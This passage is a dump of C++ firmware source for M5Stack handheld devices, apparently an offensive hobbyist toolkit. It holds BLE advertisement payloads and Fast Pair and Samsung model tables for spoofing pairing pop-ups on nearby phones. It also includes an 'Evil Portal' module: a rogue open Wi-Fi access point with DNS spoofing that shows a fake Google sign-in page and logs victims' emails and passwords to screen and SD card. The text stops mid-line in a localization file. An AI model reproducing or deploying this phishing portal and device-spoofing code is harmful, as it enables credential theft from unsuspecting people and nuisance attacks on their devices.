0x0f, 0x05, 0xc1, 0x2b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 25 | uint8_t AppleTVWirelessAudioSync[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0xc0, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 26 | uint8_t AppleTVHomekitSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0d, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 27 | uint8_t AppleTVKeyboard[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 28 | uint8_t AppleTVConnectingToNetwork[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 29 | uint8_t HomepodSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 30 | uint8_t SetupNewPhone[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x09, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 31 | uint8_t TransferNumber[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x02, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 32 | uint8_t TVColorBalance[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x1e, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 33 | uint8_t AppleVisionPro[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x24, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 34 | uint8_t* data; 35 | int deviceType = 0; 36 | 37 | struct DeviceType { 38 | uint32_t value; 39 | String name; 40 | }; 41 | 42 | DeviceType android_models[] = { 43 | // Genuine non-production/forgotten (good job Google) 44 | {0x0001F0, "Bisto CSR8670 Dev Board"}, 45 | {0x000047, "Arduino 101"}, 46 | {0x470000, "Arduino 101 2"}, 47 | {0x00000A, "Anti-Spoof Test"}, 48 | {0x0A0000, "Anti-Spoof Test 2"}, 49 | {0x00000B, "Google Gphones"}, 50 | {0x0B0000, "Google Gphones 2"}, 51 | {0x0C0000, "Google Gphones 3"}, 52 | {0x00000D, "Test 00000D"}, 53 | {0x000007, "Android Auto"}, 54 | {0x070000, "Android Auto 2"}, 55 | {0x000008, "Foocorp Foophones"}, 56 | {0x080000, "Foocorp Foophones 2"}, 57 | {0x000009, "Test Android TV"}, 58 | {0x090000, "Test Android TV 2"}, 59 | {0x000035, "Test 000035"}, 60 | {0x350000, "Test 000035 2"}, 61 | {0x000048, "Fast Pair Headphones"}, 62 | {0x480000, "Fast Pair Headphones 2"}, 63 | {0x000049, "Fast Pair Headphones 3"}, 64 | {0x490000, "Fast Pair Headphones 4"}, 65 | {0x001000, "LG HBS1110"}, 66 | {0x00B727, "Smart Controller 1"}, 67 | {0x01E5CE, "BLE-Phone"}, 68 | {0x0200F0, "Goodyear"}, 69 | {0x00F7D4, "Smart Setup"}, 70 | {0xF00002, "Goodyear"}, 71 | {0xF00400, "T10"}, 72 | {0x1E89A7, "ATS2833_EVB"}, 73 | 74 | // Phone setup 75 | {0x00000C, "Google Gphones Transfer"}, 76 | {0x0577B1, "Galaxy S23 Ultra"}, 77 | {0x05A9BC, "Galaxy S20+"}, 78 | 79 | // Genuine devices 80 | {0xCD8256, "Bose NC 700"}, 81 | {0x0000F0, "Bose QuietComfort 35 II"}, 82 | {0xF00000, "Bose QuietComfort 35 II 2"}, 83 | {0x821F66, "JBL Flip 6"}, 84 | {0xF52494, "JBL Buds Pro"}, 85 | {0x718FA4, "JBL Live 300TWS"}, 86 | {0x0002F0, "JBL Everest 110GA"}, 87 | {0x92BBBD, "Pixel Buds"}, 88 | {0x000006, "Google Pixel buds"}, 89 | {0x060000, "Google Pixel buds 2"}, 90 | {0xD446A7, "Sony XM5"}, 91 | {0x2D7A23, "Sony WF-1000XM4"}, 92 | {0x0E30C3, "Razer Hammerhead TWS"}, 93 | {0x72EF8D, "Razer Hammerhead TWS X"}, 94 | {0x72FB00, "Soundcore Spirit Pro GVA"}, 95 | {0x0003F0, "LG HBS-835S"}, 96 | {0x002000, "AIAIAI TMA-2 (H60)"}, 97 | {0x003000, "Libratone Q Adapt On-Ear"}, 98 | {0x003001, "Libratone Q Adapt On-Ear 2"}, 99 | {0x00A168, "boAt Airdopes 621"}, 100 | {0x00AA48, "Jabra Elite 2"}, 101 | {0x00AA91, "Beoplay E8 2.0"}, 102 | {0x00C95C, "Sony WF-1000X"}, 103 | {0x01EEB4, "WH-1000XM4"}, 104 | {0x02AA91, "B&O Earset"}, 105 | {0x01C95C, "Sony WF-1000X"}, 106 | {0x02D815, "ATH-CK1TW"}, 107 | {0x035764, "PLT V8200 Series"}, 108 | {0x038CC7, "JBL TUNE760NC"}, 109 | {0x02DD4F, "JBL TUNE770NC"}, 110 | {0x02E2A9, "TCL MOVEAUDIO S200"}, 111 | {0x035754, "Plantronics PLT_K2"}, 112 | {0x02C95C, "Sony WH-1000XM2"}, 113 | {0x038B91, "DENON AH-C830NCW"}, 114 | {0x02F637, "JBL LIVE FLEX"}, 115 | {0x02D886, "JBL REFLECT MINI NC"}, 116 | {0xF00000, "Bose QuietComfort 35 II"}, 117 | {0xF00001, "Bose QuietComfort 35 II"}, 118 | {0xF00201, "JBL Everest 110GA"}, 119 | {0xF00204, "JBL Everest 310GA"}, 120 | {0xF00209, "JBL LIVE400BT"}, 121 | {0xF00205, "JBL Everest 310GA"}, 122 | {0xF00200, "JBL Everest 110GA"}, 123 | {0xF00208, "JBL Everest 710GA"}, 124 | {0xF00207, "JBL Everest 710GA"}, 125 | {0xF00206, "JBL Everest 310GA"}, 126 | {0xF0020A, "JBL LIVE400BT"}, 127 | {0xF0020B, "JBL LIVE400BT"}, 128 | {0xF0020C, "JBL LIVE400BT"}, 129 | {0xF00203, "JBL Everest 310GA"}, 130 | {0xF00202, "JBL Everest 110GA"}, 131 | {0xF00213, "JBL LIVE650BTNC"}, 132 | {0xF0020F, "JBL LIVE500BT"}, 133 | {0xF0020E, "JBL LIVE500BT"}, 134 | {0xF00214, "JBL LIVE650BTNC"}, 135 | {0xF00212, "JBL LIVE500BT"}, 136 | {0xF0020D, "JBL LIVE400BT"}, 137 | {0xF00211, "JBL LIVE500BT"}, 138 | {0xF00215, "JBL LIVE650BTNC"}, 139 | {0xF00210, "JBL LIVE500BT"}, 140 | {0xF00305, "LG HBS-1500"}, 141 | {0xF00304, "LG HBS-1010"}, 142 | {0xF00308, "LG HBS-1125"}, 143 | {0xF00303, "LG HBS-930"}, 144 | {0xF00306, "LG HBS-1700"}, 145 | {0xF00300, "LG HBS-835S"}, 146 | {0xF00309, "LG HBS-2000"}, 147 | {0xF00302, "LG HBS-830"}, 148 | {0xF00307, "LG HBS-1120"}, 149 | {0xF00301, "LG HBS-835"}, 150 | {0xF00E97, "JBL VIBE BEAM"}, 151 | {0x04ACFC, "JBL WAVE BEAM"}, 152 | {0x04AA91, "Beoplay H4"}, 153 | {0x04AFB8, "JBL TUNE 720BT"}, 154 | {0x05A963, "WONDERBOOM 3"}, 155 | {0x05AA91, "B&O Beoplay E6"}, 156 | {0x05C452, "JBL LIVE220BT"}, 157 | {0x05C95C, "Sony WI-1000X"}, 158 | {0x0602F0, "JBL Everest 310GA"}, 159 | {0x0603F0, "LG HBS-1700"}, 160 | {0x1E8B18, "SRS-XB43"}, 161 | {0x1E955B, "WI-1000XM2"}, 162 | {0x1EC95C, "Sony WF-SP700N"}, 163 | {0x1ED9F9, "JBL WAVE FLEX"}, 164 | {0x1EE890, "ATH-CKS30TW WH"}, 165 | {0x1EEDF5, "Teufel REAL BLUE TWS 3"}, 166 | {0x1F1101, "TAG Heuer Calibre E4 45mm"}, 167 | {0x1F181A, "LinkBuds S"}, 168 | {0x1F2E13, "Jabra Elite 2"}, 169 | {0x1F4589, "Jabra Elite 2"}, 170 | {0x1F4627, "SRS-XG300"}, 171 | {0x1F5865, "boAt Airdopes 441"}, 172 | {0x1FBB50, "WF-C700N"}, 173 | {0x1FC95C, "Sony WF-SP700N"}, 174 | {0x1FE765, "TONE-TF7Q"}, 175 | {0x1FF8FA, "JBL REFLECT MINI NC"}, 176 | {0x201C7C, "SUMMIT"}, 177 | {0x202B3D, "Amazfit PowerBuds"}, 178 | {0x20330C, "SRS-XB33"}, 179 | {0x003B41, "M&D MW65"}, 180 | {0x003D8A, "Cleer FLOW II"}, 181 | {0x005BC3, "Panasonic RP-HD610N"}, 182 | {0x008F7D, "soundcore Glow Mini"}, 183 | {0x00FA72, "Pioneer SE-MS9BN"}, 184 | {0x0100F0, "Bose QuietComfort 35 II"}, 185 | {0x011242, "Nirvana Ion"}, 186 | {0x013D8A, "Cleer EDGE Voice"}, 187 | {0x01AA91, "Beoplay H9 3rd Generation"}, 188 | {0x038F16, "Beats Studio Buds"}, 189 | {0x039F8F, "Michael Kors Darci 5e"}, 190 | {0x03AA91, "B&O Beoplay H8i"}, 191 | {0x03B716, "YY2963"}, 192 | {0x03C95C, "Sony WH-1000XM2"}, 193 | {0x03C99C, "MOTO BUDS 135"}, 194 | {0x03F5D4, "Writing Account Key"}, 195 | {0x045754, "Plantronics PLT_K2"}, 196 | {0x045764, "PLT V8200 Series"}, 197 | {0x04C95C, "Sony WI-1000X"}, 198 | {0x050F0C, "Major III Voice"}, 199 | {0x052CC7, "MINOR III"}, 200 | {0x057802, "TicWatch Pro 5"}, 201 | {0x0582FD, "Pixel Buds"}, 202 | {0x058D08, "WH-1000XM4"}, 203 | {0x06AE20, "Galaxy S21 5G"}, 204 | {0x06C197, "OPPO Enco Air3 Pro"}, 205 | {0x06C95C, "Sony WH-1000XM2"}, 206 | {0x06D8FC, "soundcore Liberty 4 NC"}, 207 | {0x0744B6, "Technics EAH-AZ60M2"}, 208 | {0x07A41C, "WF-C700N"}, 209 | {0x07C95C, "Sony WH-1000XM2"}, 210 | {0x07F426, "Nest Hub Max"}, 211 | {0x0102F0, "JBL Everest 110GA - Gun Metal"}, 212 | {0x0202F0, "JBL Everest 110GA - Silver"}, 213 | {0x0302F0, "JBL Everest 310GA - Brown"}, 214 | {0x0402F0, "JBL Everest 310GA - Gun Metal"}, 215 | {0x0502F0, "JBL Everest 310GA - Silver"}, 216 | {0x0702F0, "JBL Everest 710GA - Gun Metal"}, 217 | {0x0802F0, "JBL Everest 710GA - Silver"}, 218 | {0x054B2D, "JBL TUNE125TWS"}, 219 | {0x0660D7, "JBL LIVE770NC"}, 220 | {0x0103F0, "LG HBS-835"}, 221 | {0x0203F0, "LG HBS-830"}, 222 | {0x0303F0, "LG HBS-930"}, 223 | {0x0403F0, "LG HBS-1010"}, 224 | {0x0503F0, "LG HBS-1500"}, 225 | {0x0703F0, "LG HBS-1120"}, 226 | {0x0803F0, "LG HBS-1125"}, 227 | {0x0903F0, "LG HBS-2000"}, 228 | 229 | // Custom debug popups 230 | {0xD99CA1, "Flipper Zero"}, 231 | {0x77FF67, "Free Robux"}, 232 | {0xAA187F, "Free VBucks"}, 233 | {0xDCE9EA, "Rickroll"}, 234 | {0x87B25F, "Animated Rickroll"}, 235 | {0x1448C9, "BLM"}, 236 | {0x13B39D, "Talking Sasquach"}, 237 | {0x7C6CDB, "Obama"}, 238 | {0x005EF9, "Ryanair"}, 239 | {0xE2106F, "FBI"}, 240 | {0xB37A62, "Tesla"}, 241 | {0x92ADC9, "Ton Upgrade Netflix"}, 242 | }; 243 | 244 | inline struct { 245 | uint32_t value; 246 | const char* name; 247 | } buds_models[] = { 248 | {0xEE7A0C, "Fallback Buds"}, 249 | {0x9D1700, "Fallback Dots"}, 250 | {0x39EA48, "Light Purple Buds2"}, 251 | {0xA7C62C, "Bluish Silver Buds2"}, 252 | {0x850116, "Black Buds Live"}, 253 | {0x3D8F41, "Gray & Black Buds2"}, 254 | {0x3B6D02, "Bluish Chrome Buds2"}, 255 | {0xAE063C, "Gray Beige Buds2"}, 256 | {0xB8B905, "Pure White Buds"}, 257 | {0xEAAA17, "Pure White Buds2"}, 258 | {0xD30704, "Black Buds"}, 259 | {0x9DB006, "French Flag Buds"}, 260 | {0x101F1A, "Dark Purple Buds Live"}, 261 | {0x859608, "Dark Blue Buds"}, 262 | {0x8E4503, "Pink Buds"}, 263 | {0x2C6740, "White & Black Buds2"}, 264 | {0x3F6718, "Bronze Buds Live"}, 265 | {0x42C519, "Red Buds Live"}, 266 | {0xAE073A, "Black & White Buds2"}, 267 | {0x011716, "Sleek Black Buds2"}, 268 | }; 269 | 270 | struct WatchModel 271 | { 272 | uint8_t value; 273 | const char *name; 274 | }; 275 | 276 | inline WatchModel* watch_models = new WatchModel[26] 277 | { 278 | {0x1A, "Fallback Watch"}, 279 | {0x01, "White Watch4 Classic 44m"}, 280 | {0x02, "Black Watch4 Classic 40m"}, 281 | {0x03, "White Watch4 Classic 40m"}, 282 | {0x04, "Black Watch4 44mm"}, 283 | {0x05, "Silver Watch4 44mm"}, 284 | {0x06, "Green Watch4 44mm"}, 285 | {0x07, "Black Watch4 40mm"}, 286 | {0x08, "White Watch4 40mm"}, 287 | {0x09, "Gold Watch4 40mm"}, 288 | {0x0A, "French Watch4"}, 289 | {0x0B, "French Watch4 Classic"}, 290 | {0x0C, "Fox Watch5 44mm"}, 291 | {0x11, "Black Watch5 44mm"}, 292 | {0x12, "Sapphire Watch5 44mm"}, 293 | {0x13, "Purpleish Watch5 40mm"}, 294 | {0x14, "Gold Watch5 40mm"}, 295 | {0x15, "Black Watch5 Pro 45mm"}, 296 | {0x16, "Gray Watch5 Pro 45mm"}, 297 | {0x17, "White Watch5 44mm"}, 298 | {0x18, "White & Black Watch5"}, 299 | {0x1B, "Black Watch6 Pink 40mm"}, 300 | {0x1C, "Gold Watch6 Gold 40mm"}, 301 | {0x1D, "Silver Watch6 Cyan 44mm"}, 302 | {0x1E, "Black Watch6 Classic 43m"}, 303 | {0x20, "Green Watch6 Classic 43m"}, 304 | }; 305 | 306 | int samsung_buds_count = (sizeof(buds_models) / sizeof(buds_models[0])); 307 | 308 | int android_models_count = (sizeof(android_models) / sizeof(android_models[0])); 309 | 310 | BLEAdvertisementData oAdvertisementData = BLEAdvertisementData(); 311 | BLEAdvertising *pAdvertising; 312 | -------------------------------------------------------------------------------- /portal.h: -------------------------------------------------------------------------------- 1 | // Borrowed from https://github.com/marivaaldo/evil-portal-m5stack/ which 2 | // has iterative iprovements over my own stand-alone M5Stick Evil Portal. 3 | // Retaining the Portuguese translations since this project has a large 4 | // fan base in Brazil. Shouts to CyberJulio as well. 5 | 6 | #define DEFAULT_AP_SSID_NAME "FK Free WiFi" 7 | #define SD_CREDS_PATH "/fuck-nemo-portal-creds.txt" 8 | 9 | 10 | #if defined(LANGUAGE_EN_US) && defined(LANGUAGE_PT_BR) && defined(LANGUAGE_IT_IT) && defined(LANGUAGE_FR_FR) 11 | #error "Please define only one language: LANGUAGE_EN_US, LANGUAGE_PT_BR, LANGUAGE_IT_IT or LANGUAGE_FR_FR" 12 | #endif 13 | 14 | #if defined(LANGUAGE_EN_US) 15 | #define LOGIN_TITLE "Sign in" 16 | #define LOGIN_SUBTITLE "Sign In With Google" 17 | #define LOGIN_EMAIL_PLACEHOLDER "Email" 18 | #define LOGIN_PASSWORD_PLACEHOLDER "Password" 19 | #define LOGIN_MESSAGE "Please log in to browse securely." 20 | #define LOGIN_BUTTON "Next" 21 | #define LOGIN_AFTER_MESSAGE "Please wait a few minutes. Soon you will be able to access the internet." 22 | #define TYPE_SSID_TEXT "SSID length should be between 2 and 32\nInvalid: ?,$,\",[,\\,],+\n\nType the SSID\nPress Enter to Confirm\n\n" 23 | #elif defined(LANGUAGE_PT_BR) 24 | #define LOGIN_TITLE "Fazer login" 25 | #define LOGIN_SUBTITLE "Use sua Conta do Google" 26 | #define LOGIN_EMAIL_PLACEHOLDER "E-mail" 27 | #define LOGIN_PASSWORD_PLACEHOLDER "Senha" 28 | #define LOGIN_MESSAGE "Por favor, faça login para navegar de forma segura." 29 | #define LOGIN_BUTTON "Avançar" 30 | #define LOGIN_AFTER_MESSAGE "Fazendo login..." 31 | #define TYPE_SSID_TEXT "Tamanho entre 2 e 32\nInvalidos: ?,$,\",[,\\,],+\n\nDigite o SSID\nEnter para Confirmar\n\n" 32 | #elif defined(LANGUAGE_IT_IT) 33 | #define LOGIN_TITLE "Accedi" 34 | #define LOGIN_SUBTITLE "Utilizza il tuo Account Google" 35 | #define LOGIN_EMAIL_PLACEHOLDER "Email" 36 | #define LOGIN_PASSWORD_PLACEHOLDER "Password" 37 | #define LOGIN_MESSAGE "Effettua il login per navigare in sicurezza." 38 | #define LOGIN_BUTTON "Avanti" 39 | #define LOGIN_AFTER_MESSAGE "Per favore attendi qualche minuto. Presto sarai in grado di accedere a Internet." 40 | #define TYPE_SSID_TEXT "SSID deve essere compresa tra 2 e 32\nInvalido: ?,$,\",[,\\,],+\n\nScrivi l'SSID\nPremi Invio per Confermare\n\n" 41 | #elif defined(LANGUAGE_FR_FR) 42 | #define LOGIN_TITLE "Connexion" 43 | #define LOGIN_SUBTITLE "Utiliser votre compte Google" 44 | #define LOGIN_EMAIL_PLACEHOLDER "Adresse e-mail" 45 | #define LOGIN_PASSWORD_PLACEHOLDER "Mot de passe" 46 | #define LOGIN_MESSAGE "Merci de vous connecter pour obtenir une navigation sécurisée." 47 | #define LOGIN_BUTTON "Suivant" 48 | #define LOGIN_AFTER_MESSAGE "Connexion en cours. Merci de patienter quelques instants." 49 | #define TYPE_SSID_TEXT "La longueur du SSID doit être entre 2 et 32\nInvalide: ?,$,\",[,\\,],+\n\nÉcrivez le SSID\nPressez Entrée pour Valider\n\n" 50 | #endif 51 | 52 | int totalCapturedCredentials = 0; 53 | int previousTotalCapturedCredentials = 0; 54 | String capturedCredentialsHtml = ""; 55 | 56 | // Init System Settings 57 | const byte HTTP_CODE = 200; 58 | const byte DNS_PORT = 53; 59 | IPAddress AP_GATEWAY(172, 0, 0, 1); // Gateway 60 | unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0; 61 | DNSServer dnsServer; 62 | WebServer webServer(80); 63 | 64 | void setSSID(String ssid){ 65 | #if defined USE_EEPROM 66 | Serial.printf("Writing %d bytes of SSID to EEPROM\n", ssid.length()); 67 | for(int i = 0; i < ssid.length(); i++) { 68 | EEPROM.write(i + apSsidOffset, ssid[i]); 69 | Serial.printf("%d:%d ", i+ apSsidOffset, ssid[i]); 70 | } 71 | EEPROM.write(apSsidOffset + ssid.length(), 0); 72 | EEPROM.commit(); 73 | Serial.println("\ndone."); 74 | #endif 75 | apSsidName=ssid; 76 | return; 77 | } 78 | 79 | #ifdef CARDPUTER 80 | void confirmOrTypeSSID(){ 81 | DISP.fillScreen(BGCOLOR); 82 | DISP.setSwapBytes(true); 83 | DISP.setTextSize(MEDIUM_TEXT); 84 | DISP.setTextColor(BGCOLOR, FGCOLOR); 85 | DISP.setCursor(0, 0); 86 | DISP.println(" WiFi SSID "); 87 | DISP.setTextSize(TINY_TEXT); 88 | DISP.setTextColor(FGCOLOR, BGCOLOR); 89 | DISP.println(TYPE_SSID_TEXT); 90 | DISP.setTextSize(SMALL_TEXT); 91 | uint8_t ssidTextCursorY = DISP.getCursorY(); 92 | String currentSSID = String(apSsidName.c_str()); 93 | DISP.printf("%s", currentSSID.c_str()); 94 | bool ssid_ok = false; 95 | 96 | while(!ssid_ok){ 97 | M5Cardputer.update(); 98 | if(M5Cardputer.Keyboard.isChange() && M5Cardputer.Keyboard.isPressed()) { 99 | Keyboard_Class::KeysState status = M5Cardputer.Keyboard.keysState(); 100 | if(status.del) { 101 | currentSSID.remove(currentSSID.length() - 1); 102 | } 103 | if(status.enter) { 104 | ssid_ok = true; 105 | } 106 | if(currentSSID.length() >= 32) { 107 | continue; 108 | } 109 | for(auto i : status.word) { 110 | if(i != '?' && i != '$' && i != '\"' && i != '[' && i != '\\' && i != ']' && i != '+'){ 111 | currentSSID += i; 112 | } 113 | } 114 | DISP.fillRect(0, ssidTextCursorY, DISP.width(), DISP.width()- ssidTextCursorY, BLACK); 115 | DISP.setCursor(0, ssidTextCursorY); 116 | DISP.printf("%s", currentSSID.c_str()); 117 | } 118 | } 119 | 120 | if(currentSSID != apSsidName && currentSSID.length() > 2){ 121 | setSSID(currentSSID); 122 | } 123 | } 124 | #endif 125 | 126 | void setupWiFi() { 127 | Serial.println("Initializing WiFi"); 128 | #if defined(CARDPUTER) 129 | confirmOrTypeSSID(); 130 | #endif // Cardputer 131 | WiFi.mode(WIFI_AP); 132 | WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0)); 133 | WiFi.softAP(apSsidName); 134 | } 135 | 136 | void getSSID(){ 137 | String ssid=""; 138 | #if defined USE_EEPROM 139 | if(EEPROM.read(apSsidOffset) < 32 || EEPROM.read(apSsidOffset) > 254){ 140 | Serial.println("SSID EEPROM Corrupt or Uninitialized. Using Defaults."); 141 | apSsidName=DEFAULT_AP_SSID_NAME; 142 | return; 143 | } 144 | for(int i = apSsidOffset; i < apSsidOffset + apSsidMaxLen; i++) { 145 | int ebyte=EEPROM.read(i); 146 | Serial.printf("%d:%d ", i, ebyte); 147 | if(ebyte < 32 || ebyte > 254){ 148 | Serial.println("SSID: " + ssid); 149 | apSsidName=ssid; 150 | return; 151 | } 152 | ssid += char(ebyte); 153 | } 154 | #else 155 | apSsidName=DEFAULT_AP_SSID_NAME; 156 | #endif 157 | return; 158 | } 159 | 160 | void printHomeToScreen() { 161 | if(current_proc!=0){ 162 | DISP.fillScreen(BGCOLOR); 163 | DISP.setSwapBytes(true); 164 | DISP.setTextSize(MEDIUM_TEXT); 165 | DISP.setTextColor(BGCOLOR, FGCOLOR); 166 | DISP.setCursor(0, 0); 167 | DISP.println(" EVIL PORTAL "); 168 | DISP.setTextSize(SMALL_TEXT); 169 | DISP.setTextColor(FGCOLOR, BGCOLOR); 170 | DISP.printf("%s\n\n",apSsidName.c_str()); 171 | DISP.print("WiFi IP: "); 172 | DISP.println(AP_GATEWAY); 173 | DISP.println("Paths: /creds /ssid"); 174 | DISP.setTextSize(MEDIUM_TEXT); 175 | DISP.setTextColor(BGCOLOR, FGCOLOR); 176 | DISP.printf("Victims: %-4d\n", totalCapturedCredentials); 177 | DISP.setTextColor(FGCOLOR, BGCOLOR); 178 | } else {/* womp womp */} 179 | } 180 | 181 | String getInputValue(String argName) { 182 | String a = webServer.arg(argName); 183 | a.replace("<", "<"); 184 | a.replace(">", ">"); 185 | a.substring(0, 200); 186 | return a; 187 | } 188 | 189 | String getHtmlContents(String body) { 190 | String html = 191 | "" 192 | "" 193 | "" 194 | " " 195 | + apSsidName + "" 196 | " " 197 | " " 198 | " " 199 | "" 200 | "" 201 | "
" 202 | "
" 203 | " " 204 | " " 205 | "
" 206 | "
" 207 | "
" 208 | " " 209 | "
" 210 | "
" 211 | + body + "
" 212 | "
" 213 | "
" 214 | "" 215 | ""; 216 | return html; 217 | } 218 | 219 | String creds_GET() { 220 | return getHtmlContents("
    " + capturedCredentialsHtml + "

Back to Index

Clear passwords

"); 221 | } 222 | 223 | String index_GET() { 224 | String loginTitle = String(LOGIN_TITLE); 225 | String loginSubTitle = String(LOGIN_SUBTITLE); 226 | String loginEmailPlaceholder = String(LOGIN_EMAIL_PLACEHOLDER); 227 | String loginPasswordPlaceholder = String(LOGIN_PASSWORD_PLACEHOLDER); 228 | String loginMessage = String(LOGIN_MESSAGE); 229 | String loginButton = String(LOGIN_BUTTON); 230 | 231 | return getHtmlContents("
" + loginTitle + "
" + loginSubTitle + "
" + loginMessage + "
"); 232 | } 233 | 234 | String index_POST() { 235 | String email = getInputValue("email"); 236 | String password = getInputValue("password"); 237 | capturedCredentialsHtml = "
  • Email: " + email + "
    Password: " + password + "
  • " + capturedCredentialsHtml; 238 | 239 | #if defined(SDCARD) 240 | appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str()); 241 | #endif 242 | return getHtmlContents(LOGIN_AFTER_MESSAGE); 243 | } 244 | 245 | String ssid_GET() { 246 | return getHtmlContents("

    Set a new SSID for Evil Portal:

    "); 247 | } 248 | 249 | String ssid_POST() { 250 | String ssid = getInputValue("ssid"); 251 | Serial.println("SSID Has been changed to " + ssid); 252 | setSSID(ssid); 253 | printHomeToScreen(); 254 | return getHtmlContents("Evil Portal shutting down and restarting with SSID " + ssid + ". Please reconnect."); 255 | } 256 | 257 | String clear_GET() { 258 | String email = "

    "; 259 | String password = "

    "; 260 | capturedCredentialsHtml = "

    "; 261 | totalCapturedCredentials = 0; 262 | return getHtmlContents("

    The credentials list has been reset.

    Back to capturedCredentialsHtml
    Back to Index
    "); 263 | } 264 | 265 | #if defined(M5LED) 266 | void blinkLed() { 267 | int count = 0; 268 | while (count < 5) { 269 | digitalWrite(IRLED, M5LED_ON); 270 | delay(500); 271 | digitalWrite(IRLED, M5LED_OFF); 272 | delay(500); 273 | count = count + 1; 274 | } 275 | } 276 | #endif 277 | 278 | void shutdownWebServer() { 279 | Serial.println("Stopping DNS"); 280 | dnsServer.stop(); 281 | Serial.println("Closing Webserver"); 282 | webServer.close(); 283 | Serial.println("Stopping Webserver"); 284 | webServer.stop(); 285 | Serial.println("Setting WiFi to STA mode"); 286 | WiFi.mode(WIFI_MODE_STA); 287 | Serial.println("Resetting SSID"); 288 | getSSID(); 289 | } 290 | 291 | void setupWebServer() { 292 | Serial.println("Starting DNS"); 293 | dnsServer.start(DNS_PORT, "*", AP_GATEWAY); // DNS spoofing (Only HTTP) 294 | Serial.println("Setting up Webserver"); 295 | webServer.on("/post", []() { 296 | totalCapturedCredentials = totalCapturedCredentials + 1; 297 | webServer.send(HTTP_CODE, "text/html", index_POST()); 298 | #if defined(STICK_C_PLUS) 299 | SPEAKER.tone(4000); 300 | delay(50); 301 | SPEAKER.mute(); 302 | #elif defined(CARDPUTER) 303 | //SPEAKER.tone(4000, 50); //Silent mode, just in case 304 | #endif 305 | #if defined(M5LED) 306 | blinkLed(); 307 | #endif 308 | }); 309 | 310 | Serial.println("Registering /creds"); 311 | webServer.on("/creds", []() { 312 | webServer.send(HTTP_CODE, "text/html", creds_GET()); 313 | }); 314 | Serial.println("Registering /clear"); 315 | webServer.on("/clear", []() { 316 | webServer.send(HTTP_CODE, "text/html", clear_GET()); 317 | }); 318 | Serial.println("Registering /ssid"); 319 | webServer.on("/ssid", []() { 320 | webServer.send(HTTP_CODE, "text/html", ssid_GET()); 321 | }); 322 | Serial.println("Registering /postssid"); 323 | webServer.on("/postssid", []() { 324 | webServer.send(HTTP_CODE, "text/html", ssid_POST()); 325 | shutdownWebServer(); 326 | isSwitching=true; 327 | current_proc=19; 328 | }); 329 | Serial.println("Registering /*"); 330 | webServer.onNotFound([]() { 331 | lastActivity = millis(); 332 | webServer.send(HTTP_CODE, "text/html", index_GET()); 333 | }); 334 | Serial.println("Starting Webserver"); 335 | webServer.begin(); 336 | } -------------------------------------------------------------------------------- /localization.h: -------------------------------------------------------------------------------- 1 | #if defined(LANGUAGE_EN_US) 2 | #define TXT_BACK "Back" 3 | #define TXT_CLOCK "Clock" 4 | #define TXT_SETTINGS "Settings" 5 | #define TXT_NEVER "Never" 6 | #define TXT_SEC "seconds" 7 | #define TXT_MIN "minutes" 8 | #define TXT_AUTO_DIM "SET AUTO DIM TIME" 9 | #define TXT_SET_BRIGHT "SET BRIGHTNESS" 10 | #define TXT_BATT_INFO "Battery Info" 11 | #define TXT_BRIGHT "Brightness" 12 | #define TXT_SET_CLOCK "Set Clock" 13 | #define TXT_ROTATION "Rotation" 14 | #define TXT_ABOUT "About" 15 | #define TXT_REBOOT "Reboot" 16 | #define TXT_CLR_SETTINGS "Clear Settings" 17 | #define TXT_CLRING_SETTINGS "Restoring Default\nSettings..." 18 | #define TXT_RIGHT "Right" 19 | #define TXT_LEFT "Left" 20 | #define TXT_BATT "Battery: " 21 | #define TXT_EXIT "Press any key to exit" 22 | #define TXT_RG_AMERICAS "Region:\nAmericas / Asia\n" 23 | #define TXT_RG_EMEA "Region: EMEA" 24 | #define TXT_RG_EXTRA "Region: EXTRA" 25 | #define TXT_SEL_GO_PAUSE "Select: Go/Pause" 26 | #define TXT_SEL_EXIT "Next: Exit" 27 | #define TXT_TRIG_TV "triggered TVBG" 28 | #define TXT_MN_AMERICA "Americas / Asia" 29 | #define TXT_MN_EMEA "EU/MidEast/Africa" 30 | #define TXT_MN_EXTRA "EXTRA" 31 | #define TXT_REGION "Region" 32 | #define TXT_FK_GP "Front Key: Go/Pause" 33 | #define TXT_SET_HOUR "SET 